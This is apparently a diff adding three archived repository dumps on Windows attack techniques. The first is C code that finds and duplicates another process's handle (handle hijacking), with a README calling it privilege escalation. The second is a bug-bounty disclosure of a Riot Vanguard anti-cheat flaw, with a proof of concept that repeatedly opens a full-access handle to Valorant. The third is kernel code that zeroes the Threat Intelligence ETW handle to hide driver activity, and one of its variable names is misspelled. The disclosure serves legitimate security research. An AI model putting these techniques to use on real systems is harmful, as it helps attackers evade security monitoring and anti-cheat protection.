+#define STATUS_INFO_LENGTH_MISMATCH 0xC0000004
+
+using fNtQuerySystemInformation = NTSTATUS(WINAPI*)(
+ ULONG SystemInformationClass,
+ PVOID SystemInformation,
+ ULONG SystemInformationLength,
+ PULONG ReturnLength
+ );
+
+typedef struct _SYSTEM_HANDLE_TABLE_ENTRY_INFO
+{
+ USHORT UniqueProcessId;
+ USHORT CreatorBackTraceIndex;
+ UCHAR ObjectTypeIndex;
+ UCHAR HandleAttributes;
+ USHORT HandleValue;
+ PVOID Object;
+ ULONG GrantedAccess;
+} SYSTEM_HANDLE_TABLE_ENTRY_INFO, * PSYSTEM_HANDLE_TABLE_ENTRY_INFO;
+
+typedef struct _SYSTEM_HANDLE_INFORMATION
+{
+ ULONG NumberOfHandles;
+ SYSTEM_HANDLE_TABLE_ENTRY_INFO Handles[1];
+} SYSTEM_HANDLE_INFORMATION, * PSYSTEM_HANDLE_INFORMATION;
+
+DWORD
+GetPID(
+ const char* pname
+)
+{
+ DWORD procId = 0;
+ HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
+
+ if (hSnap != INVALID_HANDLE_VALUE)
+ {
+ PROCESSENTRY32 pE;
+ pE.dwSize = sizeof(pE);
+
+ if (Process32First(hSnap, &pE))
+ {
+ if (!pE.th32ProcessID)
+ Process32Next(hSnap, &pE);
+ do
+ {
+ if (!_stricmp(pE.szExeFile, pname))
+ {
+ procId = pE.th32ProcessID;
+ break;
+ }
+ } while (Process32Next(hSnap, &pE));
+ }
+ }
+ CloseHandle(hSnap);
+ return (procId);
+}
+
+int
+HijackHandle(
+ HANDLE fileHandle,
+ DWORD UniqueProcessId)
+{
+ if (!fileHandle)
+ return -1;
+
+ HANDLE phandle = OpenProcess(PROCESS_DUP_HANDLE, 0, UniqueProcessId);
+
+ if (!phandle)
+ {
+ printf("error open process\n");
+ return (-1);
+ }
+
+ printf("opening target process\n");
+
+ HANDLE duplicateHandle = 0;
+ DuplicateHandle(phandle, fileHandle, GetCurrentProcess(), &duplicateHandle, 0, FALSE, DUPLICATE_SAME_ACCESS);
+
+ if (!duplicateHandle)
+ {
+ printf("error while duplicating handle\n");
+ CloseHandle(phandle);
+ return (-1);
+ }
+
+ printf("handle duplicated\n");
+ CloseHandle(phandle);
+ return 0;
+}
+
+int
+wmain(
+ void
+)
+{
+ ULONG returnLenght = 0;
+ unsigned long long aSize = 0x69;
+ PSYSTEM_HANDLE_INFORMATION hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);
+
+ fNtQuerySystemInformation NtQuerySystemInformation = (fNtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll"), "NtQuerySystemInformation");
+ while (NtQuerySystemInformation(0x10, hInfo, aSize, &returnLenght) == STATUS_INFO_LENGTH_MISMATCH)
+ {
+ aSize = returnLenght + 1024;
+ hInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(aSize);
+ }
+
+ for (int i = 0; i < hInfo->NumberOfHandles; i++)
+ {
+
+ if (hInfo->Handles[i].Object != (PVOID)0xffff8007aee061f0) // 0xffff80078354f930 is the handle object
+ continue;
+
+ printf_s("Handle 0x%x object 0x%p, UPID: %x handle number %d\n", hInfo->Handles[i].HandleValue, hInfo->Handles[i].Object, hInfo->Handles[i].UniqueProcessId, i);
+ if (!HijackHandle((HANDLE)hInfo->Handles[i].HandleValue, GetPID("victime.exe")))
+ {
+ printf("Handle Hijacked successfully\n");
+ break;
+ }
+ }
+ while (1);
+ return 0;
+}
+
+
+```
+
+`README.md`:
+
+```md
+# Handle-Ripper
+
+* Handle hijacking is a technique used in Windows operating systems to gain access to resources and resources of a system without permission. It is a type of privilege escalation attack in which a malicious user takes control of an object handle, which is an identifier that is used to reference a system object, such as a file, a directory, a process, or an event. This allows the malicious user to gain access to resources that should be inaccessible to them.
+
+* Handle hijacking is a serious threat to system security as it allows a malicious user to access resources and data that should otherwise be protected. It can also be used to inject code into a vulnerable system, allowing the attacker to gain access to information and resources.
+
+* Handle hijacking techniques are becoming increasingly prevalent as hackers develop more sophisticated methods of exploiting vulnerabilities in Windows systems. As such, it is important that system administrators understand the risks associated with handle hijacking and take proactive measures to protect their systems.
+
+# DETAILS
+
+* To perform a handle hijacking attack, an attacker must first identify a handle that is being used by a legitimate process and that they want to access. This can be done using various techniques, such as scanning the handle table of a process, monitoring handle creation events, or using a tool that can enumerate handles on the system ,Once the attacker has identified the handle they want to access, they can use the `DuplicateHandle` function to create a copy of the handle with their own process. This function takes the following parameters:
+ - `hSourceProcessHandle`: A handle to the process that contains the source handle.
+ - `hSourceHandle`: A handle to the object to duplicate.
+ - `hTargetProcessHandle`: A handle to the process that is to receive the duplicated handle.
+ - `lpTargetHandle`: A pointer to a variable that receives the handle value.
+ - `dwDesiredAccess`: The access rights for the duplicated handle.
+ - `bInheritHandle`: A value that specifies whether the handle is inheritable.
+ - `dwOptions`: Additional options for the handle duplication.
+
+* The DuplicateHandle function will create a new handle with the specified access rights and options, and return it in the lpTargetHandle parameter. The attacker can then use this handle to access the resource that it represents, allowing them to perform actions on the resource that they would not normally be able to do.
+
+# VID
+
+
+
+https://user-images.githubusercontent.com/60795188/206884063-ec573a88-4143-4f52-aac5-a66ba1036558.mp4
+
+
+```
\ No newline at end of file
diff --git a/archive/kkent030315/Van1338.txt b/archive/kkent030315/Van1338.txt
new file mode 100644
index 00000000..b2919bec
--- /dev/null
+++ b/archive/kkent030315/Van1338.txt
@@ -0,0 +1,97 @@
+Project Path: arc_kkent030315_Van1338_bw_nvil9
+
+Source Tree:
+
+```txt
+arc_kkent030315_Van1338_bw_nvil9
+├── README.md
+└── assets
+ ├── 2021-12-21_23-18-41.mp4
+ ├── 3048e11d5233053c8ccefa2f3e682d0d.png
+ ├── 55cb87690a153e3bfd3ea5171c8f954d.png
+ ├── a2b5babbb8a08e74127ba6b84969e852.png
+ └── aa4591fb-ca59-4a18-90bf-08be9b14151e.png
+
+```
+
+`README.md`:
+
+```md
+[PoC Video](./assets/2021-12-21_23-18-41.mp4)
+
+# Van1338: Design Flaw in Riot Vanguard: $6,000
+
+A design flaw in Riot Vanguard could allow arbitrary user to acquire a full privileged process handle.
+
+
+
+# The Complexity of Windows Object Callback Design
+
+Riot Vanguard uses `ObRegisterCallbacks` to protect the user-mode processes, a commonplace procedure to protect one process from another by auditing and modifying process handle access masks.
+
+`PsSetCreateProcessNotifyRoutineEx` is also known for its combined use with object callback to determine the processes requiring protection.
+
+This bounty disclosed a potential design flaw in the utilization of this API combination, upon which Riot Vanguard was dependent.
+
+This bug is also replicable on Easy Anti Cheat.
+
+## The Object Callback Timing Attack
+
+The process creation procedure in Windows systems is notably intricate due to factors such as UAC prompts and intermediation by PCA (_Program Compatibility Assistant_). Several procedures must be completed before entering the `NtCreateUserProcess` system call.
+
+This bug is substantiated by the ability of **object callbacks to be invoked right before the process callbacks** during the process creation phase.
+
+Why? Simple. the creator process necessitates specific mandatory access masks, including `PROCESS_VM_READ` and `PROCESS_VM_WRITE`, for covert PEB (Process Environment Block) patches[^1].
+
+Hence, the crux of this bug was straightforward: determining how quickly the `NtOpenProcess` system call could be issued.
+
+```c
+void poc()
+{
+ for(;;)
+ {
+ auto valorant_pid = GetValorantProcessId();
+ OBJECT_ATTRIBUTES oa = {};
+ InitializeObjectAttributes(&oa, NULL, 0, NULL, NULL);
+ HANDLE handle;
+ CLIENT_ID cid = {};
+ cid.UniqueProcess = valorant_pid;
+ // Increase possibility: Direct to syscall to avoid redundant proxy calls in kernelbase.
+ NtOpenProcess(&handle, PROCESS_ALL_ACCESS, &oa, &cid);
+ // ... sanity checks ...
+ }
+}
+```
+
+## Riot Vanguard Periodic Check
+
+One of Riot Vanguard's resident system threads periodically inspects the handle table of every process in each session. Even fully privileged handles, once acquired, are immediately patched by Vanguard, and access masks are stripped through direct kernel object manipulation, analogous to the method used by [KSystemInformer](https://github.com/winsiderss/systeminformer/blob/21f899f985015935468a09bc8a753f820071c065/KSystemInformer/protection.c#L283-L299).
+
+However, the actor could still have substantial time to execute their operation using the leaked handle, as the interval between periodic checks was insufficient to preempt handle leaks.
+
+## The Patch
+
+This bug was patched in early Riot Vanguard `1.12.0.177`.
+
+### But With A Pain...
+
+The bug is fixed, albeit with some complications...
+
+
+
+The conceivable patch would involve protecting the process in an object callback instead of a process callback. However, the complexity of Windows process creation cannot be overlooked. Now, Valorant cannot operate in compatibility mode.
+
+Furthermore, under specific environments, assigning process protection on object callbacks could render a process to not executable. The offender is `svchost.exe` (`pcasvc.dll`)[^1]. The PCA (_Program Compatibility Assistant_) component intermediates process creation with "Run this program as an administrator" and will fail if some mandatory access masks were stripped.
+
+## Bonus: Image Marker for Riot Vanguard Protection
+
+Did you ever notice a special marker in the protected process images DOS header?
+
+
+
+
+Riot Vanguard scrutinizes this special marker and subsequently conducts embedded signature verification. If the signature belongs to Riot Games, Inc., the process will be internally added to Vanguard's protected list.
+
+[^1]: My colleague @crvvdev referred the idea to me. Thanks!
+
+```
\ No newline at end of file
diff --git a/archive/muturikaranja/disable-threat-tracing.txt b/archive/muturikaranja/disable-threat-tracing.txt
new file mode 100644
index 00000000..c62540b7
--- /dev/null
+++ b/archive/muturikaranja/disable-threat-tracing.txt
@@ -0,0 +1,37 @@
+Project Path: arc_muturikaranja_disable-threat-tracing_2ylp_2wp
+
+Source Tree:
+
+```txt
+arc_muturikaranja_disable-threat-tracing_2ylp_2wp
+└── disable.c
+
+```
+
+`disable.c`:
+
+```c
+// Offset is for Windows 11 21H2
+// There's more handles to zero, but I'll leave it to the reader to find them. This alone won't perfectly hide a driver loading & unloading.
+// For example, you'll also have to stop symbolic links from being logged.
+// If you need help contact me on discord: Hiiiii#5658
+
+ULONG64 EtwThreatIntProvRegHandle_offset = 0xC15D78;
+ULONG64 old_EtwThreatIntProvRegHandle = 0ULL;
+
+__forceinline VOID get_EtwThreatIntProvRegHandle()
+{
+ old_EtwThreatIntProvRegHandle = *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset);
+}
+
+__forceinline VOID disable_threat_tracing()
+{
+ *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset) = 0ULL;
+}
+
+__forceinline VOID enable_thread_tracing()
+{
+ *(ULONG64*)((ULONG64)get_ldr_entry(L"ntoskrnl.exe") + EtwThreatIntProvRegHandle_offset) = old_EtwThreadIntProvRegHandle;
+}
+
+```
\ No newline at end of file